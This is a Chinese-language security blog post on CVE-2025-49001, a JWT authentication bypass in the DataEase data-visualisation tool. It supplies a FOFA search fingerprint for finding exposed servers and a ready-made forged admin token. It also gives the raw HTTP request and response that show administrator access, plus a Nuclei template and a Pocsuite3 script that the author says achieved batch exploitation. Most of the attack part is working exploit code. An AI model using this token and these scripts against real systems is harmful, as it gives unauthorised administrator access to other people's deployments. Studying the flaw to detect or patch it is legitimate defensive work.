Dataease JWT认证绕过漏洞-CVE-2025-49001


一、Dataease简介

DataEase 是一款开源的数据可视化分析工具,旨在帮助用户轻松连接各种数据源,快速创建专业的数据仪表板和报表。其核心特点是:

  1. 零代码操作:通过直观的拖拽式界面,无需编程基础,业务人员也能轻松完成数据整合、处理和可视化设计;
  2. 多源支持:支持接入数据库(MySQL、Oracle、SQL Server等)、Excel文件、API接口及大数据平台(Hadoop、Spark)等;
  3. 丰富可视化:内置多样化图表类型(柱形图、地图、漏斗图等)和交互式控件,满足多场景分析需求;
  4. 敏捷协作:支持仪表板实时共享、权限管控和定时邮件推送,促进团队数据驱动决策;
  5. 开源免费:社区版完全免费,企业可私有化部署,保障数据安全且节省成本。

一句话总结:DataEase 以“人人可用的敏捷分析” 为理念,大幅降低数据分析门槛,让企业快速实现数据价值落地。

1.1 fofa指纹

title="DataEase"

二、认证绕过漏洞CVE-2025-49001

2.1 简介

DataEase 2.10.10之前版本存在授权问题漏洞,该漏洞源于密钥验证未成功生效,可能导致用户使用任意密钥伪造JWT令牌。

DataEase 的 JWT 令牌校验逻辑存在缺陷,当密钥验证失败时未中断后续流程。

攻击者可通过任意密钥伪造包含 {"uid":1,"oid":1} 的 JWT 令牌,绕过身份认证。

2.2 利用方式

在请求头中添加恶意令牌(如 X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8

直接访问敏感接口(如 /de2api/user/info、/de2api/license/version),获取管理员权限。

2.3 影响

未授权访问后台功能,为后续攻击(如 RCE)提供条件。

三、漏洞复现

  • jwt token 构造

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8

  • 绕过认证
GET /de2api/user/info HTTP/1.1
Host: ip
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
  • 响应数据包
HTTP/1.1 200
X-DE-EXECUTE-VERSION: 2.3.0
Cache-Control: no-cache
Cache: no-cache
Pragma: no-cache
Expires: 0
Content-Type: application/json
Date: Thu, 12 Jun 2025 03:31:23 GMT
Content-Length: 93

{"code":0,"msg":null,"data":{"id":"1","name":"系统管理员","oid":"1","language":"zh-CN"}}

四、POC

4.1 nuclei-poc

id: dataease-jwt-auth-bypass
info:
  name: DataEase JWT Authentication Bypass
  author: sixiaokai
  severity: critical
  description: |
    检测 DataEase 是否存在 JWT 认证绕过漏洞(CVE-2025-49001),利用固定令牌未授权访问管理员接口。
  reference:
    - https://github.com/dataease/dataease
  tags: dataease,auth-bypass,jwt

requests:
  - method: GET
    path:
      - "{{BaseURL}}/de2api/user/info"  # 敏感信息接口
    headers:
      Accept: "application/json, text/plain, */*"
      out_auth_platform: "default"
      X-DE-TOKEN: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8"  # 固定伪造令牌
    matchers:
      - type: status
        status:
          - 200  # 关键状态码
      - type: word
        words:
          - '"code":0'          # 成功响应标识
          - '"name":"系统管理员"'  # 管理员账户特征
        condition: and           # 需同时满足
      - type: word
        part: header
        words:
          - "X-DE-EXECUTE-VERSION"  # 版本标识头(确认目标为 DataEase)

成功实现批量利用。

4.2 pocsuite-poc

from pocsuite3.api import Output, POCBase, register_poc, requests, logger

class DataEase_JWT_Bypass(POCBase):
    vulID = "CVE-2025-49001"  # 漏洞编号
    version = "1.0"
    author = "sixiaokai"
    vulDate = "2025-06-03"
    createDate = "2025-06-12"
    updateDate = "2025-06-12"
    references = [
        "https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r"  # 官方公告
    ]
    name = "DataEase JWT Authentication Bypass"
    appPowerLink = "https://github.com/dataease/dataease"
    appName = "DataEase"
    appVersion = "< 2.10.10"
    vulType = "authentication-bypass"
    desc = '''
        攻击者可通过伪造JWT令牌(固定密钥)绕过身份认证,未授权访问敏感接口(如/de2api/user/info),获取管理员权限。
    '''
    samples = ["http://127.0.0.1"]
    cyberspace = {'fofa': 'title="DataEase"'}

    def _verify(self):
        result = {}
        target = self.url.rstrip('/')
        # 固定漏洞利用令牌(PoC验证专用)
        malicious_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8"
        headers = {
            "Accept": "application/json, text/plain, */*",
            "out_auth_platform": "default",
            "X-DE-TOKEN": malicious_token
        }
        # 检测路径(多个敏感接口)
        vul_paths = ["/de2api/user/info", "/de2api/license/version"]
        for path in vul_paths:
            url = target + path
            try:
                resp = requests.get(url, headers=headers, timeout=10, verify=False)
                # 漏洞存在条件:状态码200 + 返回管理员信息
                if resp.status_code == 200 and '"code":0' in resp.text and ('"name":"系统管理员"' in resp.text or '"name":"Administrator"' in resp.text):
                    result['VerifyInfo'] = {
                        'URL': url,
                        'ExploitToken': malicious_token,
                        'Response': resp.text[:200] + "..."  # 截断部分响应
                    }
                    return self.parse_output(result)
            except Exception as e:
                logger.warning(f"Request error: {str(e)}")
        return self.parse_output(result)

    def _attack(self):
        return self._verify()  # 验证模式与攻击模式逻辑相同

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("Target is not vulnerable")
        return output

register_poc(DataEase_JWT_Bypass)

成功实现批量检测利用。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录